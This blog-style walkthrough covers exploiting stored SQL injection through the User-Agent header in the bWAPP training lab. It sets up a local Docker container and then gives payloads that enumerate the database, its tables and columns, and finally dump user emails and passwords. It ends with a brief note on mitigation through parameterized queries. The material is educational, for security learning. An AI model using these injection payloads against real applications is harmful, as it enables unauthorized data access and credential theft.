bWAPP - SQL Injection Stored (User-Agent)

bWAPP – SQL Injection Stored (User-Agent)

In this walk through, we will be going through the SQL Injection Stored (User-Agent) vulnerability section from bWAPP Labs. We will be exploring and exploiting Stored SQL Injection in User-Agent header and learn how application are affected because of it. So, let’s get started with the Hacking without any delay.

SQL Injection Stored (User-Agent)

Table of Contents

Security: Low

  • Setting the security level to Low.

Security level Low

  • The application here shows the User-Agent and IP address of the logged in users and saves it into database. It can be visible using the log file at /logs/visitors.txt. Further, it uses GET request to sqli_17.php to get the data from the DB.

SQL Injection - Stored (User-Agent)


  • In case the log file is not visible. Use the below commands to generate one.

wh1terose@fsociety:~$ sudo docker ps
[sudo] password for wh1terose: 
CONTAINER ID   IMAGE           COMMAND     CREATED          STATUS          PORTS                                         NAMES
60fe1419bbfe   raesene/bwapp   "/"   37 minutes ago   Up 37 minutes>80/tcp, :::80->80/tcp, 3306/tcp   dreamy_mirzakhani

sudo docker exec -it 60fe1419bbfe bash
root@60fe1419bbfe:/# cd /var/www/html
root@60fe1419bbfe:/var/www/html# mkdir logs
root@60fe1419bbfe:/var/www/html# cd logs/
root@60fe1419bbfe:/var/www/html/logs# touch visitors.txt

root@60fe1419bbfe:/var/www/html/logs# chown -R www-data:www-data visitors.txt 
root@60fe1419bbfe:/var/www/html/logs# ls -l
total 0
-rw-r--r-- 1 www-data www-data 0 Oct 11 08:10 visitors.txt

create a log directory and visitors.txt

Burpsuite intercept

  • Let’s check if the application is vulnerable to SQL injection attack by changing the user agent to the below payload.


Burpsuite intercept

  • I got hit with an error. That’s great that means the application is vulnerable.

SQL Error

  • Let’s dump the database name with the below payload.

asd', (select database() ))-- -

Enumerate database

Found Database

  • We will concat our results into a single column and get the table names inside bWAPP database.

asd', (select group_concat(table_name)from information_schema.tables where table_schema=database()))-- -

Dumping tables

Tables names dumped

  • Next, we will dump the column names from the users table.

1', (select group_concat(column_name)from information_schema.columns where table_name='users'))-- -

Dumping column names

Column names dumped

  • Let’s dump the email and password from the users table.

1', (select group_concat(email,password) from users))-- -

Dumping email and password

Email and password dumped

Also Read: bWAPP – SQL Injection Blind (Boolean-based)



So, we finally completed all the security levels for the bWAPP SQL Injection Stored (User-Agent) Vulnerability. We looked into the various ways how application has been set up in various levels and how we can bypass the security controls implemented. Next, we can mitigate the potential SQL Injection attacks by performing input sanitization and using prepared statements or parametrized queries for every SQL query made by the application to the database. On that note, i will take your leave and will meet you in next one with another bWAPP vulnerability writeup, till then “Keep Hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top